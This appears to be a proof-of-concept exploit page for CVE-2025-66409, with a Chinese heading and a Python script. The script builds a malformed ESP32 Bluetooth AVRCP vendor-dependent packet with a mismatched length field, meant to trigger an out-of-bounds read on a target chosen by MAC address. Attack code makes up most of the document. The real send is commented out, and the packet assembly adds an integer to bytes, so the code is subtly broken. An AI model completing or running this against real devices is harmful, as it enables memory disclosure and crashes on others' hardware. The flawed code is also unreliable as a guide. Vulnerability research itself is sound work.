CVE-2025-66409: ESP-IDF ESP32蓝牙AVRCP越界读取漏洞

#!/usr/bin/env python3 """ CVE-2025-66409 PoC - ESP-IDF ESP32 AVRCP Out-of-Bounds Read Note: This is a conceptual PoC for research purposes only. """ import struct import socket import sys def create_malformed_avrcp_packet(): """ Create a malformed AVRCP VENDOR DEPENDENT command packet to trigger OOB read in ESP32 Bluetooth stack """ # AVRCP packet structure pkt_type = 0x00 # Vendor Dependent command subunit_type = 0x09 # Panel subunit_id = 0x00 opcode = 0x7C # Vendor Dependent # Company ID (Bluetooth SIG assigned for Espressif) company_id = b'\x00\x19\x5D' # Espressif # Malformed vendor data - intentionally inconsistent length # This triggers the OOB read when stack doesn't validate properly malformed_data = b'\xFF' * 512 # Excessive data length # Build the AVRCP command header = struct.pack('>BBB', subunit_type << 3 | subunit_id, opcode, 0x00) vendor_data = company_id + malformed_data # Set incorrect length in parameter length field param_length = struct.pack('>H', 10) # Declared length < actual data packet = pkt_type + header + param_length + vendor_data return packet def send_bluetooth_packet(target_mac, packet): """ Send malformed packet to target ESP32 device via Bluetooth Requires btproxy or similar tool for actual exploitation """ print(f"[*] Target MAC: {target_mac}") print(f"[*] Packet length: {len(packet)} bytes") print(f"[*] Sending malformed AVRCP VENDOR DEPENDENT command...") # Actual implementation would use Bluetooth socket # bt_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) # bt_socket.connect((target_mac, 0x17)) # AVRCP PSM return True def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_esp32_mac>") print(f"Example: {sys.argv[0]} AA:BB:CC:DD:EE:FF") sys.exit(1) target_mac = sys.argv[1] packet = create_malformed_avrcp_packet() print("=" * 60) print("CVE-2025-66409 PoC - ESP-IDF ESP32 AVRCP OOB Read") print("=" * 60) send_bluetooth_packet(target_mac, packet) print("[*] Packet sent. Monitor for memory leak or crash.") print("[!] Use responsibly and only on authorized systems.") if __name__ == "__main__": main()